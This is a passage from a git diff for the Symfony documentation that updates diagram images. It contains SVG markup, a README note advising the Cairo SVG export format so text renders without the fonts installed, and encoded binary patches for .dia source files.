id="X"><path style="stroke:none" d="M5.406-11.5a27.95 27.95 0 0 0-.593-.078 5.185 5.185 0 0 0-.766-.063c-.313 0-.559.063-.734.188-.18.117-.32.281-.422.5a2.492 2.492 0 0 0-.172.828c-.024.336-.031.71-.031 1.125h1.421v1.172H2.688V0H1.39v-7.828H.28V-9h1.11v-.5c0-1.133.195-1.969.593-2.5.407-.54 1.082-.813 2.032-.813.187 0 .41.012.671.032a9.788 9.788 0 0 1 1.47.172c.226.03.41.074.546.125v10.437c0 .399.05.68.156.844.114.168.274.25.485.25.258 0 .562-.067.906-.203L8.328-.11a2.26 2.26 0 0 1-.64.234 3.362 3.362 0 0 1-.782.094c-.449 0-.812-.14-1.093-.422-.274-.29-.407-.785-.407-1.484zm0 0"/></symbol></defs><path style="fill:#fff;fill-opacity:1;stroke:none" d="M0 0h707v453H0z"/><path style="fill-rule:evenodd;fill:#fff;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#fff;stroke-opacity:1;stroke-miterlimit:10" d="M24.194 15.514h35.272v22.578H24.194zm0 0" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M57.89 22.11h129.301v23.85h-129.3zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="57.891" y="40.359"/><use xlink:href="#b" x="66.367" y="40.359"/><use xlink:href="#c" x="75" y="40.359"/><use xlink:href="#d" x="81.758" y="40.359"/><use xlink:href="#e" x="87.266" y="40.359"/><use xlink:href="#f" x="95.273" y="40.359"/><use xlink:href="#g" x="99.941" y="40.359"/><use xlink:href="#h" x="109.395" y="40.359"/><use xlink:href="#h" x="118.047" y="40.359"/><use xlink:href="#i" x="126.699" y="40.359"/><use xlink:href="#j" x="132.188" y="40.359"/><use xlink:href="#c" x="140.449" y="40.359"/><use xlink:href="#c" x="147.207" y="40.359"/><use xlink:href="#k" x="153.965" y="40.359"/><use xlink:href="#l" x="160.879" y="40.359"/><use xlink:href="#m" x="168.398" y="40.359"/><use xlink:href="#j" x="177.09" y="40.359"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#b3b3b3;stroke-opacity:1;stroke-miterlimit:10" d="M26.601 18.296h30.457M26.601 36.158h30.457M26.601 18.296a.3.3 0 0 0-.3.3M57.358 18.596a.3.3 0 0 0-.3-.3M26.301 18.596v17.262M57.358 18.596v17.262M26.301 35.858a.3.3 0 0 0 .3.3M57.058 36.158a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 103.457h102.399v23.852H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#n" x="76.09" y="121.707"/><use xlink:href="#o" x="86.109" y="121.707"/><use xlink:href="#o" x="95.016" y="121.707"/><use xlink:href="#p" x="103.922" y="121.707"/><use xlink:href="#q" x="109.781" y="121.707"/><use xlink:href="#r" x="118.336" y="121.707"/><use xlink:href="#r" x="125.328" y="121.707"/><use xlink:href="#s" x="132.32" y="121.707"/><use xlink:href="#t" x="136.422" y="121.707"/><use xlink:href="#u" x="141.285" y="121.707"/><use xlink:href="#v" x="145.777" y="121.707"/><use xlink:href="#q" x="154.762" y="121.707"/><use xlink:href="#s" x="163.316" y="121.707"/><use xlink:href="#w" x="167.418" y="121.707"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 94.184h408v40h-408zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 100.184v-6c-3.313 0-6 2.683-6 6zM605.309 100.184h6c0-3.317-2.684-6-6-6zM191.309 100.184h420v28h-420zM197.309 128.184h-6c0 3.312 2.687 6 6 6zM605.309 128.184v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 20.173h20.4M34.01 22.173h20.4M34.01 20.173a.3.3 0 0 0-.3.3M54.71 20.473a.3.3 0 0 0-.3-.3M33.71 20.473v1.4M54.71 20.473v1.4M33.71 21.873a.3.3 0 0 0 .3.3M54.41 22.173a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M191.309 138.934h239.5v21.25h-239.5zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#x" x="191.309" y="155.184"/><use xlink:href="#y" x="199.004" y="155.184"/><use xlink:href="#z" x="203.945" y="155.184"/><use xlink:href="#A" x="208.887" y="155.184"/><use xlink:href="#A" x="216.211" y="155.184"/><use xlink:href="#y" x="223.652" y="155.184"/><use xlink:href="#B" x="228.594" y="155.184"/><use xlink:href="#C" x="232.402" y="155.184"/><use xlink:href="#D" x="239.609" y="155.184"/><use xlink:href="#D" x="247.402" y="155.184"/><use xlink:href="#z" x="255.195" y="155.184"/><use xlink:href="#A" x="260.137" y="155.184"/><use xlink:href="#E" x="267.578" y="155.184"/><use xlink:href="#E" x="273.652" y="155.184"/><use xlink:href="#F" x="279.727" y="155.184"/><use xlink:href="#B" x="281.465" y="155.184"/><use xlink:href="#G" x="285.273" y="155.184"/><use xlink:href="#H" x="291.523" y="155.184"/><use xlink:href="#I" x="294.316" y="155.184"/><use xlink:href="#H" x="303.789" y="155.184"/><use xlink:href="#B" x="305.41" y="155.184"/><use xlink:href="#J" x="309.219" y="155.184"/><use xlink:href="#K" x="317.031" y="155.184"/><use xlink:href="#L" x="324.492" y="155.184"/><use xlink:href="#F" x="331.914" y="155.184"/><use xlink:href="#B" x="333.652" y="155.184"/><use xlink:href="#M" x="337.461" y="155.184"/><use xlink:href="#K" x="343.574" y="155.184"/><use xlink:href="#N" x="351.348" y="155.184"/><use xlink:href="#O" x="363.066" y="155.184"/><use xlink:href="#C" x="370.898" y="155.184"/><use xlink:href="#P" x="378.105" y="155.184"/><use xlink:href="#Q" x="386.016" y="155.184"/><use xlink:href="#B" x="392.305" y="155.184"/><use xlink:href="#P" x="396.113" y="155.184"/><use xlink:href="#C" x="404.023" y="155.184"/><use xlink:href="#N" x="411.23" y="155.184"/><use xlink:href="#A" x="422.949" y="155.184"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m48.115 24.842-3.462-.005" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M44.653 24.837c0-.125.125-.25.25-.25a.27.27 0 0 1 .25.251c0 .125-.126.25-.25.25a.269.269 0 0 1-.25-.25" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 184.79h102.399v23.85H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#n" x="76.09" y="203.039"/><use xlink:href="#o" x="86.109" y="203.039"/><use xlink:href="#o" x="95.016" y="203.039"/><use xlink:href="#p" x="103.922" y="203.039"/><use xlink:href="#q" x="109.781" y="203.039"/><use xlink:href="#r" x="118.336" y="203.039"/><use xlink:href="#r" x="125.328" y="203.039"/><use xlink:href="#s" x="132.32" y="203.039"/><use xlink:href="#t" x="136.422" y="203.039"/><use xlink:href="#u" x="141.285" y="203.039"/><use xlink:href="#v" x="145.777" y="203.039"/><use xlink:href="#q" x="154.762" y="203.039"/><use xlink:href="#s" x="163.316" y="203.039"/><use xlink:href="#R" x="167.418" y="203.039"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 175.516h408v40h-408zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 181.516v-6c-3.313 0-6 2.687-6 6zM605.309 181.516h6c0-3.313-2.684-6-6-6zM191.309 181.516h420v28h-420zM197.309 209.516h-6c0 3.312 2.687 6 6 6zM605.309 209.516v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 24.24h20.4M34.01 26.24h20.4M34.01 24.24a.3.3 0 0 0-.3.3M54.71 24.54a.3.3 0 0 0-.3-.3M33.71 24.54v1.4M54.71 24.54v1.4M33.71 25.94a.3.3 0 0 0 .3.3M54.41 26.24a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M190.809 219.934H413.91v21.25H190.81zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#S" x="190.809" y="236.184"/><use xlink:href="#O" x="199.324" y="236.184"/><use xlink:href="#C" x="207.156" y="236.184"/><use xlink:href="#z" x="214.363" y="236.184"/><use xlink:href="#y" x="219.734" y="236.184"/><use xlink:href="#N" x="224.676" y="236.184"/><use xlink:href="#A" x="236.395" y="236.184"/><use xlink:href="#P" x="243.836" y="236.184"/><use xlink:href="#y" x="251.746" y="236.184"/><use xlink:href="#F" x="256.688" y="236.184"/><use xlink:href="#B" x="258.426" y="236.184"/><use xlink:href="#E" x="262.234" y="236.184"/><use xlink:href="#T" x="268.309" y="236.184"/><use xlink:href="#U" x="276.121" y="236.184"/><use xlink:href="#y" x="280.027" y="236.184"/><use xlink:href="#A" x="284.852" y="236.184"/><use xlink:href="#F" x="292.293" y="236.184"/><use xlink:href="#B" x="294.031" y="236.184"/><use xlink:href="#T" x="297.84" y="236.184"/><use xlink:href="#P" x="305.652" y="236.184"/><use xlink:href="#U" x="313.563" y="236.184"/><use xlink:href="#y" x="317.469" y="236.184"/><use xlink:href="#F" x="322.41" y="236.184"/><use xlink:href="#B" x="324.148" y="236.184"/><use xlink:href="#J" x="327.957" y="236.184"/><use xlink:href="#T" x="335.77" y="236.184"/><use xlink:href="#U" x="343.582" y="236.184"/><use xlink:href="#V" x="347.488" y="236.184"/><use xlink:href="#D" x="351.688" y="236.184"/><use xlink:href="#U" x="359.48" y="236.184"/><use xlink:href="#P" x="363.387" y="236.184"/><use xlink:href="#W" x="371.297" y="236.184"/><use xlink:href="#F" x="379.07" y="236.184"/><use xlink:href="#B" x="380.809" y="236.184"/><use xlink:href="#X" x="384.617" y="236.184"/><use xlink:href="#K" x="393.055" y="236.184"/><use xlink:href="#K" x="400.828" y="236.184"/><use xlink:href="#z" x="408.602" y="236.184"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M148.91 268.29h27.399v23.85H148.91zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#Y" x="149.238" y="286.539"/><use xlink:href="#u" x="158.379" y="286.539"/><use xlink:href="#Z" x="162.871" y="286.539"/><use xlink:href="#aa" x="168.301" y="286.539"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 259.016h188v40h-188zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 265.016v-6c-3.313 0-6 2.687-6 6zM385.309 265.016h6c0-3.313-2.684-6-6-6zM191.309 265.016h200v28h-200zM197.309 293.016h-6c0 3.312 2.687 6 6 6zM385.309 293.016v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 28.415h9.4M34.01 30.415h9.4M34.01 28.415a.3.3 0 0 0-.3.3M43.71 28.715a.3.3 0 0 0-.3-.3M33.71 28.715v1.4M43.71 28.715v1.4M33.71 30.115a.3.3 0 0 0 .3.3M43.41 30.415a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M113.96 339.52h62.353v23.851H113.96zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#ab" x="114.883" y="357.77"/><use xlink:href="#ac" x="123.789" y="357.77"/><use xlink:href="#ad" x="128.555" y="357.77"/><use xlink:href="#s" x="137.461" y="357.77"/><use xlink:href="#Y" x="141.348" y="357.77"/><use xlink:href="#ae" x="149.941" y="357.77"/><use xlink:href="#o" x="158.848" y="357.77"/><use xlink:href="#q" x="167.754" y="357.77"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 330.242h108v40h-108zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 336.242v-6c-3.313 0-6 2.688-6 6zM305.309 336.242h6c0-3.312-2.684-6-6-6zM191.309 336.242h120v28h-120zM197.309 364.242h-6c0 3.317 2.687 6 6 6zM305.309 364.242v6c3.316 0 6-2.683 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 31.976h5.4M34.01 33.976h5.4M34.01 31.976a.3.3 0 0 0-.3.3M39.71 32.276a.3.3 0 0 0-.3-.3M33.71 32.276v1.4M39.71 32.276v1.4M33.71 33.676a.3.3 0 0 0 .3.3M39.41 33.976a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M477.309 259.016h128v40h-128zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M477.309 265.016v-6c-3.313 0-6 2.687-6 6zM605.309 265.016h6c0-3.313-2.684-6-6-6zM471.309 265.016h140v28h-140zM477.309 293.016h-6c0 3.312 2.687 6 6 6zM605.309 293.016v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M48.01 28.415h6.4M48.01 30.415h6.4M48.01 28.415a.3.3 0 0 0-.3.3M54.71 28.715a.3.3 0 0 0-.3-.3M47.71 28.715v1.4M54.71 28.715v1.4M47.71 30.115a.3.3 0 0 0 .3.3M54.41 30.415a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M422.512 268.29h37.8v23.85h-37.8zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#af" x="423.063" y="286.539"/><use xlink:href="#Z" x="431.852" y="286.539"/><use xlink:href="#ag" x="437.672" y="286.539"/><use xlink:href="#Z" x="445.934" y="286.539"/><use xlink:href="#q" x="451.754" y="286.539"/></g></svg>
diff --git a/_images/sources/README.md b/_images/sources/README.md
index 9e40e0ac884..8ca7538bf5d 100644
--- a/_images/sources/README.md
+++ b/_images/sources/README.md
@@ -27,6 +27,12 @@ Saving and Exporting the Diagram
 * Save the original diagram in `*.dia` format in `_images/sources/<folder-name>`;
 * Export the diagram to SVG format and save it in `_images/<folder-name>`.
 
+Important: choose "Cairo Scalable Vector Graphics (.svg)" format instead of
+plain " Scalable Vector Graphics (.svg)" because the former is the only format
+that transforms text into vector shapes (resulting file is larger in size, but
+it's truly portable because text is displayed the same even if you don't have
+some fonts installed).
+
 Including the Diagram in the Symfony Docs
 -----------------------------------------
 
diff --git a/_images/sources/form/form-custom-type-postal-address-fragment-names.dia b/_images/sources/form/form-custom-type-postal-address-fragment-names.dia
index aebdadb41701a5dbfc9f99f809b3ed9135447dc8..ca12fcdeadc0fbb8284f50fcfea9d02882ddd183 100644
GIT binary patch
delta 2563
zcmV+e3jFnw6qFQ@D}U?|&lnpS(`oi$e*0G04j}{+5*u^L0i|1zN_{T-oUhLLPL=)3
zuRo@-_dU$!QJP%$2*N!tOvY&tC6nvkf4}|ylkWX`^Wm2u@_)8Jlgyub_AipT`*hvA
z%k$aKS6BD<_b6V@{XET394*j1y!ywFWB<xFy6WA0@Vxa70)IdE-FMZuex7I1Xpx6r
z;!nft-pC*SJ;~BV67<SeRl9K-r<wQNkFR?lZ;My&s_N$INk2RKp81n-l!gA^^<888
zGUhE^&%$i8+vzNwN4816oIPt&(~tXitxeTxZW|?&n~$IP$MTS>FCP2acA&K&`P9!Q
zQSuzeo}0Kl5q}hEN~t{=!f1mPSLETGydG}UEnM6!T-GgIG#}2=EYJKXe-1fH(>U~#
z67|-P=i%Fd=3_s$HnwYA4Tf<W<$2oD0Lrgd?)F;Oon%q4+jF0^sOjZC3i7+*j{}{q
zviIeIdjB5Hqfs1gJNhWeTkC$=PWPKvr=ai0KW}IaWq)tA^FyFR5sKH(50ga{g!327
z>}i{tp6;q<S1+CQ&35~qnDVQQ*}8y;{biU{-T(GDPkYq`wi8RX2z#DC&ZF-SpVrQa
zYd(8&2GY@A;W)2`|26lMz|R8jC-1lPNAEE#u|Y``T=)LKFP$3Ooh8Tlb2FQzD?_6k
zQ6_1hV}GOtRd2Uy2R0gQ^T@Fs$RrL|ctlrtn5u!qhzP>^QX<N61Fs6>a5@~PS@I;P
zIN*Q_z=DW&(GU|zOFKXzCD%j>AsZszh0)|L-#NVs#F*lQDnqEW&<zGTO0yu$ULK~s
zinx3cZZIK|(8i!osb`PK_YIT!U3x#<5@K(kfPV`I-go{jeYxJfe~;7q@tvRLwf;?7
z@o$M3XR^;Z5}MP)`?vLDQ{gdA2SOn(u=Q_>xRG7>cUuGA)4y$!D5PSN87T!P!W`Vc
ziL#VJw9?uT#_U<v7wg|6=H3mmgCyCLNT_>vMI;SVk<tr>nIA-p`R=Pm&Bp8Ps53tZ
zUVlh{@Y{RO!yoy!OY}4(eAcS&auj;NM#~NHphh~_dFb`|TbktC;oNV$TYnnG%j@2k
zZ{AlwnS1~7vn;*udGmbf;zZr6y7`<gvM9{fPvhH;XA6sLV-iGVVHJW9%88|u=E$29
zQVmBJlZ0SM87iBDKKJmgUd{veZVu<i(SIbFhIN-bOcv8E4)Frk)_kOKn6Z{cd~?pT
zrfybY25lqEU<_f#?W}9(CZ;+FGZZq!;Yp+oHv@++Iq!3gh?4r8c<56QWZ``7#ZeM^
z<dj$mzcX6eVZ;Zer82PUke28HX{k<rDGu(rXFVPiYoeaU@w-nKSxY>w1ksLHxqrmw
z;5_c|aD_*(83>Ma@mV85usM9X*xG>iOBX3dPvdcRcsb}|v%}}%+(l%Ed-4V(hmagz
zXcSgX2?{BuIV6Y2Ob&UgL4|2JslOtq5M>Y{jphR`kfO4{SB>WQ?s@2Io`qrV`DKpS
z_r9P%kT*(y^gV~_C(EL*6Jo35<$sKXYWL!TbDO*g*&SQe*fy{g<cvqn8Q19j-%%27
z$r(i(^zJk_p+sLeA2j0N^v*ewl(W8YO9;fk!c(lIgXdiGCXsWJ48tTShW6$mZ)t3g
z*HmpqgX6PSKb{?CNs=A)u;lR_&Zb-Fe;9|!<fUX%v;nk7(kc$&X*GeAY=2W_x29w;
zGo7jI*3*n6a;35himU^QvsKwCsO-mA*|!)msO%6iow&-b+DwQouL`PUXDYkJ<4Vbu
z%5HgFC?&g7*&7ddPnDg3st&3;sOq4qgQ~uvs@tf`Cd~wNs$;6^x~(9>soH`e(N(Fw
zz@tcUr>ff^LX!etlk-y5KYz_^i06!{@68t$qVFw|$bJ|tqSz5`-@A>|Gy_@vsIq#E
zaRXgJl6WezdJVsuR`}h93Zk5`yQ!K!;Nh}rx`uylRZ}4D;}Lhg)n1mmcecdc7ReFZ
zsuac$?s9F2jbcf`a*y~FSPoe3b*nzMSS_&JWw9J-t8iPWFA`y;JAaAgBy)HI5h)9n
zd%$NxpB2k}j`AgxYmZy5tub9F*Fq+K>i5u~tp=$aDNH-8*K#BUl>^SIdabm_LA$Ki
zHXZPO^;&|VUJLbFsMkV<3H92|daXc4W2o02wO&hDOM-qmsmhL|t_M6(NnMZlAa#M%
zwZEWWXSE=8U6$0vTYr_h43ZqP!|zcr$od593yl<2da#CXXcPSIS?<q&eepi0K?ri!
z3CLZ~%@^b@kh@M@?h>uaUD`S!C*8?i7LRZ;V5XG2Bu0#I(xKedbin(`T@utTP`g0w
zf+Q2vu1&SeAi)XT5cYs-*B(JcD|^-5?VGx+nK``mn%QcPV}DmQv(^T@Ul5@nh=3ph
zf(QsAAc)8}W&kLeoj}P<wG>3qF4s+Rff!j^H@Sv?ZtEuPCCWibJ}w<mSU3qv@_BAy
zB<<``r)5qgaYsuYDm-DTB@d7Iu;c-jJnXAR)mtqrdAO`452h`avsUUJIY<Q&ov>Vi
z#}H>`um&$M5r05(KyrJMT#eBJ$(<+3)!gKnw)3E9g$%~3&nYsB@h<K?>z?0Q;8Df~
zR3mDg!`Z9hP2}}g+~#@5m}?pf;SNwMV&Fc{mwlh-I%jKTzc81G+7Pr~Z2Y3E3*F05
z!yTRylngAsP}metHQ>A(XWKF6?TvYHd|WZ`wfA{Xb${B*=1zeT5rp?8M@%twa9>;D
zxm%kNIuIHeEem`}o8WgJzT1v-KOR<3ry0(j<m`-O66O%uA1$)qVbBoSgYbOf!ZU4U
zubnI4QD(CR;v|y8KaYBahb@UqHCV%!x(PmLGVh7G>#Y`;`=W$r+R9!#w?Trry>B)f
z(&F$NHGfuk!lqqR4%YAmYl06f_l{U@ht&ehT^7r=vK@^|I~zLXmm(=-2TwhFz#~X=
zUMwQuN|Qnb#?qW|f^Jy{c<*Sux5JKs_aHAn^}M{DCs-P!tj{@-Uyu%-6}!TtNMW0n
zW5fxeMV&($amG|${qL$!WOx_GGa&ZkEv2Y8YJVVhAof!ycGXglZiC~Z=%5LvT?FYR
z9z(_`HDD6qqKYOEmYAL~v;QxextjnDV}BIJ!0N{g*Xt}ASRGjXR9L-k9a1a%H$<@(
zM>&?27#}`dcaM9+N)`L<j1+DYKjDTH`1Ti_tV7x{=IxECDYQ&36@`UJ?{gtiJKG4b
zwR|Nk+=PR%KKw$Y6&^#xNIF=<r$Q^J=0KRVPx4!DwGbv<)II{%&OQQzn2^PkZlp3@
z+#l8^gwkyZ#T4^_{j4x8%#~=`%{GGiA#ZQ2ZTR7i*AM~`#hFJG<u@)xn7J>?kFmcD
Zvzrg)2m3S0{OQey{{#3*-tK?4008#P6gB_=

delta 2561
zcmV+c3jXz!6p|E>D}Qi^XN--E=`{N=zkRE0hY*4Zi7#AoK<O5wQlHB{=c{wRQ)U11
z>yKIFeGk$_n8epTf^g3Z;&Czw<LPzpzu$iUN%wxe`S8mm^nbQL)6}1N_Alav`*hvA
z%d+{;S6BD<_b6H|{47aP6fV&sxcbMBBLB)Zy6WA0@Vw0qCVzhByYI?x{VYqv(J~9X
z*q;U0y^%ludzvQ8c+x9cmF>n!l%(EwKf3OHyv<*|tFoJ`C;jZ{d+twzQ5yJvS9gu=
z%b2%xJrC0DZfEmk5!xo%YW}QAML+J}jW%Vgg>4j1Z$5tFAB#gOzj*9x*MU}oWHUdV
zhVgS8dv2oQM1N4EDW&#g2%`;FT#<)!@_M*Yw{TInaA~)2;bJ&X(k%7E>^bBpNut1y
z3)EXbS_E$gT8#b3+StBv)fmQYm}N;r11P>;yW4ABcbbNi{hs@zMMW?7;Uv2o{%GlR
z6}_)o>iv7T2uD${>*&KcYpnZKGu>}rot(ZO|GcI(6o0){&JPnEh(Nr4ewZ%9Nw9dq
z%$~NX=;^L(cJ<O(-)?v4i7CF?nyqt)$X^9%+5K;i^R!o9U^}s-%b@4^<1GCC@M+_m
zxaRXGXCN8<6^yfT_+K+Wp7`m+`^oz)`O$j}OKeaQPOf`@;FnH~?aq?p;<=g4leM8y
zjwq9~&wnw}f~vP$wF4WCc6sF34rCeyYdoS$JWSO<VnhUCeJK&;xQ15+Q7{{hlQe!3
zRJ1tY955%MeKf=b($Wr4NXa#kLdcqkcR@J4%l1yM0x_mIp~?^{Ep&}Rj*@f|q%RNC
zUPWBI2sfAzNoZ}*r_^&m<okw6{Vus5?g+7WPk+F<10Op77QS5V-oHo5{rJvLvr7La
zjrg}jj5FEi90|>7`~GeH*pzsT(}7Tk3vB(HB5q_C{@v7o5A<)FBnqjRWJXHCi7>7E
zH&K>Sh*nw~!k9hF`eOZi#N4|^b`Zx05(#zhu85>&DpGjCF!d+la<TuaQM2`WJL=q@
zOn+WTfbiRU&w?M>u1oYZBz)GY>T=|Iz*fsG@t{IF*n8;J`CAfayW!k#yjy=3Myu=I
zmv7!zKVEqM@zXT9?|F-C<>Ex$E4%reEYmPZH&5f+j%Npp>|zo`Wo{LM5Xy<AllsWp
z6H*07=aYnB$b~5NL7#j0PA}&Z_pT4;M}Ofoo&{BxJcyUG9S-pV*3NvSc9^k|MSOG4
zv!QO5VFqm?%wP;*#_g<Y=O(5)2s5-ZU5h7e8o||Ijjs_Qb@03Ap-+=Z8Z5jhj02CH
z5-H(##!7o^xK&mv;;If=iMGf}Rq9KAaL*m<@t{~8@idCweYVINqH!gNcC^YRHh-<t
zxWmIG9>HcHxTSOVStCKPX+K+RY`}+Qixi`$;W%qw4Z7Im@Od<M5y|0!yaBl(<c1d-
zg%wkRjlzWHkQ*K|H{^{56{hB-{)(VNltF~CK?N5`lLBAWn&Z3Yp|4pQ1exdODdM8<
zeL;U9Z<PG#dk)o)S9xD2#8$`48Gi}Y?!^V?HhB}WJGQE@ZD1?N8IPJXZqWO`!#LQH
zGm0kY-AQgjiN0_?XhiGu&N-5lv%YXE2*kj`Q>>(e=UnnSk#igmgLsk;?af2p(byiZ
zDcgz~$7ij6Ja1=3k{$K1;PE}qrW@#g7zOe4rDRex0dzppD%$Y0ia<&>DSxtCQ!<#D
z&O~<SX^QZ*$Sx=%nwfJI*(r$Z#~0am*f5Cf5HOv%$gY~qhb^rNs$^#(yT#*5$+gIC
zX<R5JyA#=K5BNZloq(tgqB@A`AgY6?z9p)=sEY~$GSx9fb=_1DL8W#}=tNhQ`W%lU
z$(^Xqkx?Ya*W|oJ^-psf;(s|~>U)c&h3I?BIJ6%|%P?|;+xKpxBuPP4KdP!;VcbAh
zkR+aps$RkGrV)O(p@Jx8>~4yt4|upJnr`5qThSDV`*_4%ZMB!B?wu`hH$`#;H!6iO
zgu7fCVxw4`v)m&-1(pMrd)=as9aal0cUde)nyTC8>Wf5J=}uxf$$uQ4K$y#-Zd>9r
zq0frtK8M)~%C*NW*H)M=lxraqKlM9k&_;t)jufUH)@wPEg31ABWxZC~<DgyEYwHg9
zuzD@QP_Ko0E!1lv!-RV6cD+_QR)Ko$QR}sYH6-X4ld9}U>UzKvrPTF^4^kIMU55+$
zRaOg9*JVjvyiuvkxPN6Lto<zt23enAeW8)WN)I;h4XuOUJ<I+1uP@%`WD<bfbpmqN
zbMpnc3*@d-m%Buxa+llv#YuN^m&GHT445h8E{PE%oOCF6)gAC*a+d_P3)C)9yCBH~
zwQF1LvQd{La68x*)vg1Ah(@-mbJcCl%;9a;%+`AxyQ-NrHh<v5f(Qjc1OyQfL_iP$
zK}5DS13<~_1WIPAp&){Gxo(mR#K^|F$qoE-TQ_MhQ3gu#ap{P{!bwn)&vOeSX=aZ)
zEpj4>J6iHk;t5kOd3eN!B@eLV;ZQZI+G=6R!(}abFio+XwNm%MK`MyogynKPh8QDa
zuz@dd9eiN9cYnrm6;=x@cb+U)ag%4-%yXg@G8n5qr^qPA+h5qF^2fL4c$Be$yBDo>
z4ri~1*U{HsahvBoW3Ff{ggZd3h=Kb&U-o^TtDLQo4Z~a_YGcrTzVnN+E`%>b4R?4-
zP%^OiLSd6X)qwMEoNdpTcQ@ww@o~k#*WTwn)oCNUJAVa6L=fJW95KaI>%O+eV~7i;
z20|mFWsWat9sKUYciVC1N5k^zG{c3{oSl(OgA5}3qeb?63>qSPP@Yd*d8UnQwiCiS
zAG6s4L7bWPA4k2$vojzubg+RhwV|NN0COM0+|^bK%zaVHGi_wEo!cS7+~zl%4QbK-
zPK`C5Kz~dMGT6WutPVb~+&f~qJyr`WcUdgg$bK{`?QH0jUy7uV9X$2y0goWXWWI`k
zD@}407)x`;3A$w+;Ju^q-X1#!-h;gS)bsLYo?vN^vOecTew!zEuvX#$k0N1=7`R8E
z5km7qhcx1hxxD<}m7&P+E{Nv9?8jS6QEk=0?0>-Qr_SuEp(x!($9dI36HL2^(hEF>
zw83=1B*J+aO&}~WJ!5A7UpRNS0UAdBD2Ra7j~TC5Sv0UZu==U6deuUtMs{$Bd@+u4
zEGsc?KVEkae8WoRJMN4WZW}-0hUED67o99b+B4?ejj74SOfD6Ll}PV%B~mjR39z*#
zEPC98gRyRZCDIy?+0aR=!3I7RT0uDn!lXlz-)gIcFzKQ;60l}A5*WmU%%^lCmFeOR
zu{I%;`KC~c`M`cwnC9k6H0@>|LG_S#H`X@%$TzVP0ujZTM-;_3E=8ETFN%+mzY5Zu
X55))jGfn;3&4>R3yQW{Yf3^SsFW(c5

diff --git a/_images/sources/form/form-custom-type-postal-address.dia b/_images/sources/form/form-custom-type-postal-address.dia
index 35a1eaebfd662ec9a9b3cb14c7f6a6eb8a78c552..1b7c6226315ee9d656f8441e40ca8351a89a8204 100644
GIT binary patch
delta 2022
zcmV<C2O0RA5S|c_8h@;t6m5Y50}Q4C+S$w|pe@GHRF(`$ZsN^+`%n+Z@k5Sc$+F{8
zMjA+Ectq;*+<VWZk`EsrCV}%y$B7?>mpusFo}<H2<oV(FviJ9oukS?f<JFrFp0D1U
